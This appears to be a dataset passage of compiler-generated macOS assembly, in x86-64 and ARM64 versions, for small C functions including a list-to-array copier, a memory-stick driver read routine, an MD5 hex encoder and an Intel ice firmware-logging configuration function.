.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _list_to_array ## -- Begin function list_to_array .p2align 4, 0x90 _list_to_array: ## @list_to_array .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movq %rdi, %rbx movl 8(%rdi), %edi movl $8, %esi callq _calloc movq (%rbx), %rcx testq %rcx, %rcx je LBB0_3 ## %bb.1: movq %rax, %rdx .p2align 4, 0x90 LBB0_2: ## =>This Inner Loop Header: Depth=1 movq 8(%rcx), %rsi movq %rsi, (%rdx) movq (%rcx), %rcx addq $-8, %rdx testq %rcx, %rcx jne LBB0_2 LBB0_3: addq $8, %rsp popq %rbx popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _list_to_array ; -- Begin function list_to_array .p2align 2 _list_to_array: ; @list_to_array .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 ldr w0, [x0, #8] mov w1, #8 ; =0x8 bl _calloc ldr x8, [x19] cbz x8, LBB0_3 ; %bb.1: mov x9, x0 LBB0_2: ; =>This Inner Loop Header: Depth=1 ldr x10, [x8, #8] str x10, [x9], #-8 ldr x8, [x8] cbnz x8, LBB0_2 LBB0_3: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function tifm_ms_read_data _tifm_ms_read_data: ## @tifm_ms_read_data .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %edx, %ebx movq %rdi, %r15 movq 8(%rdi), %r13 cmpl $0, (%rdi) sete %al testl %edx, %edx sete %cl orb %al, %cl jne LBB0_6 ## %bb.1: movl %ebx, %ebx leaq -1(%rbx), %rax xorl %r12d, %r12d .p2align 4, 0x90 LBB0_2: ## =>This Inner Loop Header: Depth=1 movq %r12, %rcx movb $-1, (%rsi,%r12) sarl $8, 4(%r15) incq %r12 decl (%r15) je LBB0_4 ## %bb.3: ## in Loop: Header=BB0_2 Depth=1 cmpl %ecx, %eax jne LBB0_2 LBB0_4: cmpl %ecx, %eax je LBB0_16 ## %bb.5: subq %r12, %rbx jmp LBB0_7 LBB0_6: xorl %r12d, %r12d testl %ebx, %ebx je LBB0_16 LBB0_7: movq %rsi, -48(%rbp) ## 8-byte Spill .p2align 4, 0x90 LBB0_8: ## =>This Inner Loop Header: Depth=1 movq _TIFM_MS_STAT_EMP@GOTPCREL(%rip), %rax movl (%rax), %r14d movq _SOCK_MS_STATUS@GOTPCREL(%rip), %rax movq (%rax), %rdi addq (%r13), %rdi callq _readl testl %r14d, %eax jne LBB0_11 ## %bb.9: ## in Loop: Header=BB0_8 Depth=1 cmpl $5, %ebx jb LBB0_8 ## %bb.10: ## in Loop: Header=BB0_8 Depth=1 movq _SOCK_MS_DATA@GOTPCREL(%rip), %rax movq (%rax), %rdi addq (%r13), %rdi callq ___raw_readl movl %r12d, %ecx movq -48(%rbp), %rdx ## 8-byte Reload movl %eax, (%rdx,%rcx) addl $-4, %ebx addl $4, %r12d jmp LBB0_8 LBB0_11: movq _TIFM_MS_STAT_EMP@GOTPCREL(%rip), %rax movl (%rax), %r14d movq _SOCK_MS_STATUS@GOTPCREL(%rip), %rax movq (%rax), %rdi addq (%r13), %rdi callq _readl testl %r14d, %eax jne LBB0_16 ## %bb.12: movq _SOCK_MS_DATA@GOTPCREL(%rip), %rax movq (%rax), %rdi addq (%r13), %rdi callq _readl movl %eax, 4(%r15) movl $4, (%r15) movl $1, %ecx movq -48(%rbp), %rdi ## 8-byte Reload .p2align 4, 0x90 LBB0_13: ## =>This Inner Loop Header: Depth=1 movl %r12d, %edx movl %r12d, %esi movb %al, (%rdi,%rsi) movl 4(%r15), %eax sarl $8, %eax movl %eax, 4(%r15) cmpl %ecx, %ebx je LBB0_15 ## %bb.14: ## in Loop: Header=BB0_13 Depth=1 incl %ecx leal 1(%rdx), %r12d decl (%r15) jne LBB0_13 LBB0_15: incl %edx movl %edx, %r12d LBB0_16: movl %r12d, %eax addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _TIFM_MS_STAT_EMP,4,2 ## @TIFM_MS_STAT_EMP .comm _SOCK_MS_STATUS,8,3 ## @SOCK_MS_STATUS .comm _SOCK_MS_DATA,8,3 ## @SOCK_MS_DATA .no_dead_strip _tifm_ms_read_data .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function tifm_ms_read_data _tifm_ms_read_data: ; @tifm_ms_read_data .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x22, x2 mov x19, x1 mov x20, x0 ldr x23, [x0, #8] ldr w8, [x0] cmp w8, #0 ccmp w2, #0, #4, ne b.ne LBB0_2 ; %bb.1: mov w0, #0 ; =0x0 mov w21, #0 ; =0x0 cbnz w22, LBB0_6 b LBB0_15 LBB0_2: mov x21, #0 ; =0x0 mov w8, w22 sub x9, x8, #1 mov w10, #255 ; =0xff movi.2d v0, #0xffffffffffffffff LBB0_3: ; =>This Inner Loop Header: Depth=1 mov x11, x21 add x21, x21, #1 strb w10, [x19, x11] ldr d1, [x20] add.2s v2, v1, v0 sshr.2s v1, v1, #8 fmov w12, s2 mov.s v2[1], v1[1] str d2, [x20] cmp w12, #0 ccmp w9, w11, #4, ne b.ne LBB0_3 ; %bb.4: cmp w9, w11 b.eq LBB0_15 ; %bb.5: sub x22, x8, x21 mov x0, x21 LBB0_6: Lloh0: adrp x26, _TIFM_MS_STAT_EMP@GOTPAGE Lloh1: ldr x26, [x26, _TIFM_MS_STAT_EMP@GOTPAGEOFF] Lloh2: adrp x25, _SOCK_MS_STATUS@GOTPAGE Lloh3: ldr x25, [x25, _SOCK_MS_STATUS@GOTPAGEOFF] mov x21, x0 Lloh4: adrp x24, _SOCK_MS_DATA@GOTPAGE Lloh5: ldr x24, [x24, _SOCK_MS_DATA@GOTPAGEOFF] LBB0_7: ; =>This Inner Loop Header: Depth=1 ldr w27, [x26] ldr x8, [x23] ldr x9, [x25] add x0, x9, x8 bl _readl tst w0, w27 b.ne LBB0_10 ; %bb.8: ; in Loop: Header=BB0_7 Depth=1 cmp w22, #5 b.lo LBB0_7 ; %bb.9: ; in Loop: Header=BB0_7 Depth=1 ldr x8, [x23] ldr x9, [x24] add x0, x9, x8 bl ___raw_readl str w0, [x19, w21, uxtw] sub w22, w22, #4 add w21, w21, #4 b LBB0_7 LBB0_10: ldr w26, [x26] ldr x8, [x23] ldr x9, [x25] add x0, x9, x8 bl _readl tst w0, w26 b.ne LBB0_15 ; %bb.11: ldr x8, [x23] ldr x9, [x24] add x0, x9, x8 bl _readl mov w8, #0 ; =0x0 mov w9, #4 ; =0x4 stp w9, w0, [x20] sub w9, w22, #1 LBB0_12: ; =>This Inner Loop Header: Depth=1 add w10, w21, w8 strb w0, [x19, w10, uxtw] ldr w11, [x20, #4] asr w0, w11, #8 str w0, [x20, #4] cmp w9, w8 b.eq LBB0_14 ; %bb.13: ; in Loop: Header=BB0_12 Depth=1 ldr w11, [x20] add w8, w8, #1 subs w11, w11, #1 str w11, [x20] b.ne LBB0_12 LBB0_14: add w21, w10, #1 LBB0_15: mov x0, x21 ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh4, Lloh5 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _TIFM_MS_STAT_EMP,4,2 ; @TIFM_MS_STAT_EMP .comm _SOCK_MS_STATUS,8,3 ; @SOCK_MS_STATUS .comm _SOCK_MS_DATA,8,3 ; @SOCK_MS_DATA .no_dead_strip _tifm_ms_read_data .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function MD5DigestToBase16 _MD5DigestToBase16: ## @MD5DigestToBase16 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl $1, %eax leaq _MD5DigestToBase16.zEncode(%rip), %rcx .p2align 4, 0x90 LBB0_1: ## =>This Inner Loop Header: Depth=1 movzbl -1(%rdi,%rax), %edx movl %edx, %r8d shrl $4, %r8d movzbl (%r8,%rcx), %r8d movb %r8b, -2(%rsi,%rax,2) andl $15, %edx movzbl (%rdx,%rcx), %edx movb %dl, -1(%rsi,%rax,2) cmpq $17, %rax je LBB0_3 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movzbl (%rdi,%rax), %edx movl %edx, %r8d shrl $4, %r8d movzbl (%r8,%rcx), %r8d movb %r8b, (%rsi,%rax,2) andl $15, %edx movzbl (%rdx,%rcx), %edx movb %dl, 1(%rsi,%rax,2) addq $2, %rax jmp LBB0_1 LBB0_3: movb $0, 34(%rsi) popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals .p2align 4, 0x0 ## @MD5DigestToBase16.zEncode _MD5DigestToBase16.zEncode: .asciz "0123456789abcdef" .no_dead_strip _MD5DigestToBase16 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function MD5DigestToBase16 _MD5DigestToBase16: ; @MD5DigestToBase16 .cfi_startproc ; %bb.0: mov x8, #0 ; =0x0 add x9, x1, #1 Lloh0: adrp x10, _MD5DigestToBase16.zEncode@PAGE Lloh1: add x10, x10, _MD5DigestToBase16.zEncode@PAGEOFF LBB0_1: ; =>This Inner Loop Header: Depth=1 ldrb w11, [x0, x8] lsr x12, x11, #4 ldrb w12, [x10, x12] sturb w12, [x9, #-1] and x11, x11, #0xf ldrb w11, [x10, x11] strb w11, [x9], #2 add x8, x8, #1 cmp x8, #17 b.ne LBB0_1 ; %bb.2: strb wzr, [x1, #34] ret .loh AdrpAdd Lloh0, Lloh1 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals _MD5DigestToBase16.zEncode: ; @MD5DigestToBase16.zEncode .asciz "0123456789abcdef" .no_dead_strip _MD5DigestToBase16 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function ice_cfg_fw_log _ice_cfg_fw_log: ## @ice_cfg_fw_log .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %esi, %r14d movq %rdi, %rbx cmpq $0, 24(%rdi) jne LBB0_3 ## %bb.1: cmpq $0, 16(%rbx) je LBB0_2 LBB0_3: testl %r14d, %r14d je LBB0_4 LBB0_6: movq %rbx, %rdi callq _ice_get_fw_log_cfg testl %eax, %eax jne LBB0_41 ## %bb.7: movq _ice_aqc_opc_fw_logging@GOTPCREL(%rip), %rax movl (%rax), %esi leaq -64(%rbp), %rdi callq _ice_fill_dflt_direct_cmd_desc cmpq $0, 24(%rbx) je LBB0_9 ## %bb.8: movq _ICE_AQC_FW_LOG_AQ_VALID@GOTPCREL(%rip), %rax movl (%rax), %eax orl %eax, -56(%rbp) LBB0_9: cmpq $0, 16(%rbx) je LBB0_11 ## %bb.10: movq _ICE_AQC_FW_LOG_UART_VALID@GOTPCREL(%rip), %rax movl (%rax), %eax orl %eax, -56(%rbp) LBB0_11: testl %r14d, %r14d je LBB0_12 ## %bb.13: movl %r14d, -52(%rbp) ## 4-byte Spill xorl %esi, %esi movq _ICE_AQC_FW_LOG_ID_MAX@GOTPCREL(%rip), %rcx xorl %r14d, %r14d xorl %r13d, %r13d xorl %r12d, %r12d jmp LBB0_14 .p2align 4, 0x90 LBB0_18: ## in Loop: Header=BB0_14 Depth=1 movq _ICE_AQC_FW_LOG_ID_S@GOTPCREL(%rip), %rcx movzbl (%rcx), %ecx movq %r14, %rdx shlq %cl, %rdx movq _ICE_AQC_FW_LOG_EN_S@GOTPCREL(%rip), %rcx movzbl (%rcx), %ecx shll %cl, %eax movslq %eax, %rdi orq %rdx, %rdi movl %r13d, -48(%rbp) ## 4-byte Spill movq %rbx, %r13 movq %r12, %rbx movq %rsi, %r12 callq _cpu_to_le16 movq %r12, %rsi movq %rbx, %r12 movq %r13, %rbx movl -48(%rbp), %r13d ## 4-byte Reload movq (%rsi), %rcx movl %eax, (%rcx,%r12,4) incq %r12 movq _ICE_AQC_FW_LOG_ID_MAX@GOTPCREL(%rip), %rcx LBB0_19: ## in Loop: Header=BB0_14 Depth=1 orl %r15d, %r13d decq %r14 cmpq (%rcx), %r14 ja LBB0_20 LBB0_14: ## =>This Inner Loop Header: Depth=1 movq 8(%rbx), %rax movl (%rax,%r14,8), %r15d cmpl 4(%rax,%r14,8), %r15d je LBB0_19 ## %bb.15: ## in Loop: Header=BB0_14 Depth=1 movl %r15d, %eax testq %rsi, %rsi jne LBB0_18 ## %bb.16: ## in Loop: Header=BB0_14 Depth=1 movq %rbx, %rdi callq _ice_hw_to_dev movq _ICE_FW_LOG_DESC_SIZE_MAX@GOTPCREL(%rip), %rcx movl (%rcx), %esi movq _GFP_KERNEL@GOTPCREL(%rip), %rcx movl (%rcx), %edx movl %eax, %edi callq _devm_kzalloc testq %rax, %rax je LBB0_42 ## %bb.17: ## in Loop: Header=BB0_14 Depth=1 movq %rax, %rsi movq 8(%rbx), %rax movl (%rax,%r14,8), %eax jmp LBB0_18 LBB0_4: xorl %eax, %eax cmpl $0, (%rbx) je LBB0_41 ## %bb.5: leaq 32(%rbx), %rsi movq %rbx, %rdi callq _ice_check_sq_alive movl %eax, %ecx xorl %eax, %eax testl %ecx, %ecx jne LBB0_6 jmp LBB0_41 LBB0_2: xorl %eax, %eax jmp LBB0_41 LBB0_20: testl %r13d, %r13d je LBB0_21 ## %bb.22: testq %r12, %r12 je LBB0_38 ## %bb.23: cmpq $0, 24(%rbx) je LBB0_25 ## %bb.24: movq _ICE_AQC_FW_LOG_AQ_EN@GOTPCREL(%rip), %rax movl (%rax), %eax orl %eax, -60(%rbp) LBB0_25: movq %rsi, -48(%rbp) ## 8-byte Spill cmpq $0, 16(%rbx) movl -52(%rbp), %r14d ## 4-byte Reload je LBB0_27 ## %bb.26: movq _ICE_AQC_FW_LOG_UART_EN@GOTPCREL(%rip), %rax movl (%rax), %eax orl %eax, -60(%rbp) LBB0_27: movq %r12, %rdi callq _ICE_FW_LOG_DESC_SIZE movq %rax, %r15 movq _ICE_AQ_FLAG_RD@GOTPCREL(%rip), %rax movq (%rax), %rdi callq _cpu_to_le16 movq %r15, %rcx orl %eax, -64(%rbp) movq -48(%rbp), %rdx ## 8-byte Reload jmp LBB0_28 LBB0_12: xorl %r12d, %r12d xorl %ecx, %ecx xorl %r13d, %r13d xorl %edx, %edx movq $0, -48(%rbp) ## 8-byte Folded Spill jmp LBB0_28 LBB0_21: movq %rsi, -48(%rbp) ## 8-byte Spill xorl %ecx, %ecx xorl %r13d, %r13d xorl %edx, %edx movl -52(%rbp), %r14d ## 4-byte Reload LBB0_28: leaq -64(%rbp), %rsi movq %rbx, %rdi xorl %r8d, %r8d callq _ice_aq_send_cmd testl %eax, %eax je LBB0_30 ## %bb.29: movq -48(%rbp), %rsi ## 8-byte Reload testq %rsi, %rsi jne LBB0_40 jmp LBB0_41 LBB0_30: testl %r14d, %r14d jne LBB0_32 ## %bb.31: movq _ICE_AQC_FW_LOG_ID_MAX@GOTPCREL(%rip), %rax movq (%rax), %r12 LBB0_32: movl %r13d, (%rbx) testq %r12, %r12 movq -48(%rbp), %rsi ## 8-byte Reload je LBB0_38 ## %bb.33: movl %r14d, %r15d xorl %r14d, %r14d movq _ICE_AQC_FW_LOG_ID_S@GOTPCREL(%rip), %r13 jmp LBB0_34 .p2align 4, 0x90 LBB0_36: ## in Loop: Header=BB0_34 Depth=1 movq (%rsi), %rax movl (%rax,%r14,4), %edi callq _le16_to_cpu movq -48(%rbp), %rsi ## 8-byte Reload movq _ICE_AQC_FW_LOG_ID_M@GOTPCREL(%rip), %rcx orq (%rcx), %rax movzbl (%r13), %ecx shrq %cl, %rax movq 8(%rbx), %rcx movl (%rcx,%rax,8), %edx movl %edx, 4(%rcx,%rax,8) LBB0_37: ## in Loop: Header=BB0_34 Depth=1 incq %r14 cmpq %r14, %r12 je LBB0_38 LBB0_34: ## =>This Inner Loop Header: Depth=1 testl %r15d, %r15d jne LBB0_36 ## %bb.35: ## in Loop: Header=BB0_34 Depth=1 movq 8(%rbx), %rax movl $0, 4(%rax,%r14,8) jmp LBB0_37 LBB0_38: xorl %eax, %eax testq %rsi, %rsi je LBB0_41 LBB0_40: movq %rbx, %rdi movl %eax, %ebx movq %rsi, %r14 callq _ice_hw_to_dev movl %eax, %edi movq %r14, %rsi callq _devm_kfree movl %ebx, %eax LBB0_41: addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_42: movq _ICE_ERR_NO_MEMORY@GOTPCREL(%rip), %rax movl (%rax), %eax jmp LBB0_41 .cfi_endproc ## -- End function .comm _ice_aqc_opc_fw_logging,4,2 ## @ice_aqc_opc_fw_logging .comm _ICE_AQC_FW_LOG_AQ_VALID,4,2 ## @ICE_AQC_FW_LOG_AQ_VALID .comm _ICE_AQC_FW_LOG_UART_VALID,4,2 ## @ICE_AQC_FW_LOG_UART_VALID .comm _ICE_AQC_FW_LOG_ID_MAX,8,3 ## @ICE_AQC_FW_LOG_ID_MAX .comm _ICE_FW_LOG_DESC_SIZE_MAX,4,2 ## @ICE_FW_LOG_DESC_SIZE_MAX .comm _GFP_KERNEL,4,2 ## @GFP_KERNEL .comm _ICE_ERR_NO_MEMORY,4,2 ## @ICE_ERR_NO_MEMORY .comm _ICE_AQC_FW_LOG_ID_S,8,3 ## @ICE_AQC_FW_LOG_ID_S .comm _ICE_AQC_FW_LOG_EN_S,8,3 ## @ICE_AQC_FW_LOG_EN_S .comm _ICE_AQC_FW_LOG_AQ_EN,4,2 ## @ICE_AQC_FW_LOG_AQ_EN .comm _ICE_AQC_FW_LOG_UART_EN,4,2 ## @ICE_AQC_FW_LOG_UART_EN .comm _ICE_AQ_FLAG_RD,8,3 ## @ICE_AQ_FLAG_RD .comm _ICE_AQC_FW_LOG_ID_M,8,3 ## @ICE_AQC_FW_LOG_ID_M .no_dead_strip _ice_cfg_fw_log .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function ice_cfg_fw_log _ice_cfg_fw_log: ; @ice_cfg_fw_log .cfi_startproc ; %bb.0: sub sp, sp, #112 stp x28, x27, [sp, #16] ; 16-byte Folded Spill stp x26, x25, [sp, #32] ; 16-byte Folded Spill stp x24, x23, [sp, #48] ; 16-byte Folded Spill stp x22, x21, [sp, #64] ; 16-byte Folded Spill stp x20, x19, [sp, #80] ; 16-byte Folded Spill stp x29, x30, [sp, #96] ; 16-byte Folded Spill add x29, sp, #96 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x20, x1 mov x19, x0 ldr x8, [x0, #24] cbnz x8, LBB0_2 ; %bb.1: ldr x8, [x19, #16] cbz x8, LBB0_18 LBB0_2: cbz w20, LBB0_16 LBB0_3: mov x0, x19 bl _ice_get_fw_log_cfg cbnz w0, LBB0_38 ; %bb.4: Lloh0: adrp x8, _ice_aqc_opc_fw_logging@GOTPAGE Lloh1: ldr x8, [x8, _ice_aqc_opc_fw_logging@GOTPAGEOFF] Lloh2: ldr w1, [x8] add x0, sp, #4 bl _ice_fill_dflt_direct_cmd_desc ldr x8, [x19, #24] cbz x8, LBB0_6 ; %bb.5: Lloh3: adrp x8, _ICE_AQC_FW_LOG_AQ_VALID@GOTPAGE Lloh4: ldr x8, [x8, _ICE_AQC_FW_LOG_AQ_VALID@GOTPAGEOFF] Lloh5: ldr w8, [x8] ldr w9, [sp, #12] orr w8, w9, w8 str w8, [sp, #12] LBB0_6: ldr x8, [x19, #16] cbz x8, LBB0_8 ; %bb.7: Lloh6: adrp x8, _ICE_AQC_FW_LOG_UART_VALID@GOTPAGE Lloh7: ldr x8, [x8, _ICE_AQC_FW_LOG_UART_VALID@GOTPAGEOFF] Lloh8: ldr w8, [x8] ldr w9, [sp, #12] orr w8, w9, w8 str w8, [sp, #12] LBB0_8: cbz w20, LBB0_26 ; %bb.9: mov x23, #0 ; =0x0 mov x21, #0 ; =0x0 mov x25, #0 ; =0x0 mov w24, #0 ; =0x0 mov x22, #0 ; =0x0 Lloh9: adrp x26, _ICE_AQC_FW_LOG_ID_MAX@GOTPAGE Lloh10: ldr x26, [x26, _ICE_AQC_FW_LOG_ID_MAX@GOTPAGEOFF] Lloh11: adrp x28, _ICE_AQC_FW_LOG_EN_S@GOTPAGE Lloh12: ldr x28, [x28, _ICE_AQC_FW_LOG_EN_S@GOTPAGEOFF] b LBB0_12 LBB0_10: ; in Loop: Header=BB0_12 Depth=1 Lloh13: adrp x9, _ICE_AQC_FW_LOG_ID_S@GOTPAGE Lloh14: ldr x9, [x9, _ICE_AQC_FW_LOG_ID_S@GOTPAGEOFF] Lloh15: ldr x9, [x9] lsl x9, x25, x9 ldr w10, [x28] lsl w8, w8, w10 sxtw x8, w8 orr x0, x9, x8 bl _cpu_to_le16 ldr x8, [x21] str w0, [x8, x22, lsl #2] add x22, x22, #1 LBB0_11: ; in Loop: Header=BB0_12 Depth=1 orr w24, w27, w24 sub x25, x25, #1 ldr x8, [x26] sub x23, x23, #8 cmp x25, x8 b.hi LBB0_19 LBB0_12: ; =>This Inner Loop Header: Depth=1 ldr x8, [x19, #8] add x8, x8, x23 ldp w27, w8, [x8] cmp w27, w8 b.eq LBB0_11 ; %bb.13: ; in Loop: Header=BB0_12 Depth=1 mov x8, x27 cbnz x21, LBB0_10 ; %bb.14: ; in Loop: Header=BB0_12 Depth=1 mov x0, x19 bl _ice_hw_to_dev Lloh16: adrp x8, _ICE_FW_LOG_DESC_SIZE_MAX@GOTPAGE Lloh17: ldr x8, [x8, _ICE_FW_LOG_DESC_SIZE_MAX@GOTPAGEOFF] Lloh18: ldr w1, [x8] Lloh19: adrp x8, _GFP_KERNEL@GOTPAGE Lloh20: ldr x8, [x8, _GFP_KERNEL@GOTPAGEOFF] Lloh21: ldr w2, [x8] bl _devm_kzalloc cbz x0, LBB0_39 ; %bb.15: ; in Loop: Header=BB0_12 Depth=1 mov x21, x0 ldr x8, [x19, #8] ldr w8, [x8, x23] b LBB0_10 LBB0_16: ldr w8, [x19] cbz w8, LBB0_18 ; %bb.17: add x1, x19, #32 mov x0, x19 bl _ice_check_sq_alive cbnz w0, LBB0_3 b LBB0_38 LBB0_18: mov w0, #0 ; =0x0 b LBB0_38 LBB0_19: cbz w24, LBB0_27 ; %bb.20: cbz x22, LBB0_35 ; %bb.21: ldr x8, [x19, #24] cbz x8, LBB0_23 ; %bb.22: Lloh22: adrp x8, _ICE_AQC_FW_LOG_AQ_EN@GOTPAGE Lloh23: ldr x8, [x8, _ICE_AQC_FW_LOG_AQ_EN@GOTPAGEOFF] Lloh24: ldr w8, [x8] ldr w9, [sp, #8] orr w8, w9, w8 str w8, [sp, #8] LBB0_23: ldr x8, [x19, #16] cbz x8, LBB0_25 ; %bb.24: Lloh25: adrp x8, _ICE_AQC_FW_LOG_UART_EN@GOTPAGE Lloh26: ldr x8, [x8, _ICE_AQC_FW_LOG_UART_EN@GOTPAGEOFF] Lloh27: ldr w8, [x8] ldr w9, [sp, #8] orr w8, w9, w8 str w8, [sp, #8] LBB0_25: mov x0, x22 bl _ICE_FW_LOG_DESC_SIZE mov x23, x0 Lloh28: adrp x8, _ICE_AQ_FLAG_RD@GOTPAGE Lloh29: ldr x8, [x8, _ICE_AQ_FLAG_RD@GOTPAGEOFF] Lloh30: ldr x0, [x8] bl _cpu_to_le16 mov x3, x23 ldr w8, [sp, #4] orr w8, w8, w0 str w8, [sp, #4] mov x2, x21 b LBB0_28 LBB0_26: mov x22, #0 ; =0x0 mov x3, #0 ; =0x0 mov w24, #0 ; =0x0 mov x2, #0 ; =0x0 mov x21, #0 ; =0x0 b LBB0_28 LBB0_27: mov x3, #0 ; =0x0 mov x2, #0 ; =0x0 LBB0_28: add x1, sp, #4 mov x0, x19 mov x4, #0 ; =0x0 bl _ice_aq_send_cmd cbnz w0, LBB0_36 ; %bb.29: Lloh31: adrp x8, _ICE_AQC_FW_LOG_ID_MAX@GOTPAGE Lloh32: ldr x8, [x8, _ICE_AQC_FW_LOG_ID_MAX@GOTPAGEOFF] Lloh33: ldr x8, [x8] cmp w20, #0 csel x22, x8, x22, eq str w24, [x19] cbz x22, LBB0_35 ; %bb.30: mov x23, #0 ; =0x0 mov w24, #4 ; =0x4 Lloh34: adrp x25, _ICE_AQC_FW_LOG_ID_M@GOTPAGE Lloh35: ldr x25, [x25, _ICE_AQC_FW_LOG_ID_M@GOTPAGEOFF] Lloh36: adrp x26, _ICE_AQC_FW_LOG_ID_S@GOTPAGE Lloh37: ldr x26, [x26, _ICE_AQC_FW_LOG_ID_S@GOTPAGEOFF] b LBB0_33 LBB0_31: ; in Loop: Header=BB0_33 Depth=1 ldr x8, [x21] ldr w0, [x8, x23, lsl #2] bl _le16_to_cpu ldr x8, [x25] orr x8, x8, x0 ldr x9, [x26] lsr x8, x8, x9 ldr x9, [x19, #8] add x8, x9, x8, lsl #3 ldr w9, [x8] str w9, [x8, #4] LBB0_32: ; in Loop: Header=BB0_33 Depth=1 add x23, x23, #1 add x24, x24, #8 cmp x22, x23 b.eq LBB0_35 LBB0_33: ; =>This Inner Loop Header: Depth=1 cbnz w20, LBB0_31 ; %bb.34: ; in Loop: Header=BB0_33 Depth=1 ldr x8, [x19, #8] str wzr, [x8, x24] b LBB0_32 LBB0_35: mov w0, #0 ; =0x0 LBB0_36: cbz x21, LBB0_38 ; %bb.37: mov x20, x0 mov x0, x19 bl _ice_hw_to_dev mov x1, x21 bl _devm_kfree mov x0, x20 LBB0_38: ldp x29, x30, [sp, #96] ; 16-byte Folded Reload ldp x20, x19, [sp, #80] ; 16-byte Folded Reload ldp x22, x21, [sp, #64] ; 16-byte Folded Reload ldp x24, x23, [sp, #48] ; 16-byte Folded Reload ldp x26, x25, [sp, #32] ; 16-byte Folded Reload ldp x28, x27, [sp, #16] ; 16-byte Folded Reload add sp, sp, #112 ret LBB0_39: Lloh38: adrp x8, _ICE_ERR_NO_MEMORY@GOTPAGE Lloh39: ldr x8, [x8, _ICE_ERR_NO_MEMORY@GOTPAGEOFF] Lloh40: ldr w0, [x8] b LBB0_38 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .loh AdrpLdrGot Lloh11, Lloh12 .loh AdrpLdrGot Lloh9, Lloh10 .loh AdrpLdrGotLdr Lloh13, Lloh14, Lloh15 .loh AdrpLdrGotLdr Lloh19, Lloh20, Lloh21 .loh AdrpLdrGotLdr Lloh16, Lloh17, Lloh18 .loh AdrpLdrGotLdr Lloh22, Lloh23, Lloh24 .loh AdrpLdrGotLdr Lloh25, Lloh26, Lloh27 .loh AdrpLdrGotLdr 